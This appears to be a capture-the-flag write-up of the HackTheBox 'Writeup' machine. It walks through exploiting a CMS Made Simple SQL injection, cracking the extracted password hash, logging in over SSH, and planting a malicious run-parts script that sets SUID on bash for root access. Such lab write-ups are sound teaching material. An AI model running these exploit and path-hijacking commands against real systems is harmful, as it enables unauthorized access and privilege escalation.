Writeup - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Writeup is an easy Linux machine featuring a CMS Made Simple instance vulnerable to time-based blind SQL injection. The application’s DoS protection prevents traditional enumeration techniques. After extracting credentials via SQL injection and cracking the password hash, lateral movement is achieved via SSH. Privilege escalation exploits a non-standard group membership (staff) that grants write access to /usr/local/bin, a directory in the root user’s PATH. By creating a malicious run-parts script executed during SSH login, the SUID bit is set on /bin/bash, yielding root access.

TL;DR: SQL Injection (CVE-2019-9053) → Credential extraction → SSH access → Path hijacking via /usr/local/bin → Root shell via SUID bash.

Reconnaissance

Port Scanning

# Initial wide port scan
nmap -p- --min-rate=1000 -T4 10.10.10.138

# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.138 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.138

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))

Two services detected: SSH on port 22 and Apache HTTP on port 80. The HTTP service title reads “Nothing here yet.”

Service Enumeration

HTTP Service Investigation:

The web server hosts a retro-styled landing page. However, Nmap’s HTTP scripts detected a robots.txt file containing a disallowed entry: /writeup/. This directory is typically hidden from crawlers and warrants investigation.

Browsing to http://10.10.10.138/writeup/ reveals a page containing writeups of various topics. Examining browser cookies shows the presence of a CMSSESSID cookie, indicating a Content Management System.

Inspecting the HTML source reveals critical metadata:

<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />

The target runs CMS Made Simple (2019 version).

Vulnerability Assessment

Identified Vulnerabilities:

1. CVE-2019-9053: CMS Made Simple SQL Injection vulnerability

   • Type: Time-based blind SQL injection
   • Impact: Allows extraction of database credentials including usernames, email addresses, and password hashes
   • Exploitability: High (public PoC available)

2. DoS Protection: The web server has rate-limiting enabled, preventing aggressive directory enumeration and fuzzing

3. Weak Group Configuration: Non-standard staff group membership grants write access to PATH directories

Initial Foothold

Exploitation Path

Step 1: Exploit SQL Injection (CVE-2019-9053)

The vulnerability exists in the CMS Made Simple URL parameter handling. A public PoC script exploits time-based blind SQL injection to extract the database contents.

# Download the exploit script
wget https://www.exploit-db.com/download/46635

# Execute against the target
python2 46635 -u http://10.10.10.138/writeup

Output:

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: <redacted>

The script successfully extracts:

• Username: jkr
• Password Hash: (MD5 hash with salt)
• Salt: 5a599ef579066807

Step 2: Crack the Password Hash

The password is hashed using MD5 with salt. Using hashcat to crack:

# Format the hash as hash:salt
echo '<redacted>:5a599ef579066807' > hash

# Crack using rockyou wordlist (hashcat mode 20 = MD5($salt.$pass))
hashcat -a 0 -m 20 hash /usr/share/wordlists/rockyou.txt

Output:

<redacted>:5a599ef579066807:raykayjay9

Status...........: Cracked
Hash.Name........: md5($salt.$pass)
Time.Started.....: Thu Jan 25 15:50:44 2024
Time.Estimated...: Thu Jan 25 15:50:45 2024

Credentials obtained: jkr:raykayjay9

Step 3: SSH Access

ssh jkr@10.10.10.138
# Password: raykayjay9

Successful login granted. The user flag is located at /home/jkr/user.txt.

Privilege Escalation

Enumeration

First, we identify the user’s group memberships:

id

Output:

uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

The staff group is non-standard. According to Debian documentation, the staff group allows users to add local modifications to the system, particularly in /usr/local directories, with executables in /usr/local/bin taking precedence in the PATH.

Verifying write permissions:

ls -ld /usr/local/bin/ /usr/local/sbin/

Output:

drwx-wsr-x 2 root staff 20480 Apr 19 04:11 /usr/local/bin/
drwx-wsr-x 2 root staff 12288 Apr 19 04:11 /usr/local/sbin/

Both directories are writable by the staff group, and both appear early in the root user’s PATH.

Process Monitoring

To identify what root executes, we upload and run pspy to monitor processes:

# On attacker machine
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32
scp pspy32 jkr@10.10.10.138:/tmp

# On target machine
cd /tmp
chmod +x pspy32
./pspy32

While monitoring, we SSH into the box from another terminal. The output reveals:

CMD: UID=0 PID=8531 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d

Root executes /usr/bin/env with a custom PATH that includes /usr/local/bin and /usr/local/sbin at the beginning, before /usr/bin and /usr/sbin. The command run-parts is called from this PATH.

Path Hijacking Attack

Since run-parts is executed as root and we can write to /usr/local/bin, we create a malicious run-parts script that will be executed instead of the legitimate one in /usr/bin.

Create malicious run-parts script:

echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /usr/local/bin/run-parts
chmod +x /usr/local/bin/run-parts

This script sets the SUID bit on /bin/bash, allowing us to execute it as root.

Trigger the payload:

Simply SSH into the machine again as jkr. Upon login, the motd update process triggers, executing our malicious run-parts:

ssh jkr@10.10.10.138
# Password: raykayjay9

Verify SUID bit:

ls -l /bin/bash

Output:

-rwsr-xr-x 1 root root 1099016 Jan 10 12:41 /bin/bash

The SUID bit is now set. Execute bash with the -p flag to maintain privileges:

/bin/bash -p

Verify root access:

id

Output:

uid=0(root) gid=0(root) groups=0(root)

Root shell successfully obtained. The root flag is located at /root/root.txt.

Attack Chain Summary

Enumerate /robots.txt
    ↓
Discover /writeup/ directory
    ↓
Identify CMS Made Simple (2019)
    ↓
Exploit CVE-2019-9053 (SQL Injection)
    ↓
Extract credentials & password hash
    ↓
Crack hash with hashcat
    ↓
SSH login as jkr
    ↓
Identify staff group membership
    ↓
Monitor root processes with pspy
    ↓
Discover root executes run-parts from /usr/local/bin
    ↓
Create malicious run-parts script
    ↓
SSH triggers payload during login
    ↓
SUID bit set on /bin/bash
    ↓
Execute bash -p for root access

Tools Used

Key Learnings

Techniques Practiced

• Time-based blind SQL injection exploitation
• Password hash cracking with salt using hashcat
• Linux group-based privilege escalation
• Process monitoring using pspy for post-exploitation reconnaissance
• PATH hijacking via writable directories in user’s group
• SUID bit manipulation for privilege escalation
• Rate-limiting evasion (avoiding aggressive enumeration)

Lessons Learned

1. Metadata Disclosure: HTML comments and generator meta tags can reveal sensitive information about backend technologies; always inspect page source.

2. CMS Vulnerabilities: Legacy CMS versions often contain well-documented vulnerabilities with publicly available exploits; version identification is critical.

3. Group-Based Permissions: Non-standard group memberships like staff should be treated as elevation vectors; always check what directories groups can write to.

4. PATH Variable Exploitation: Directories earlier in the PATH override later ones; the root user’s PATH can differ significantly from standard users, creating exploitation opportunities.

5. Process Monitoring: Tools like pspy are invaluable for identifying automated tasks and scheduled processes executed with higher privileges.

6. DoS Protection Considerations: Rate-limiting prevents traditional fuzzing; alternative enumeration methods (robots.txt, source inspection) must be employed.

7. SUID Binaries: Setting SUID on interactive shells like bash grants persistent privilege escalation without requiring repeated exploitation.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>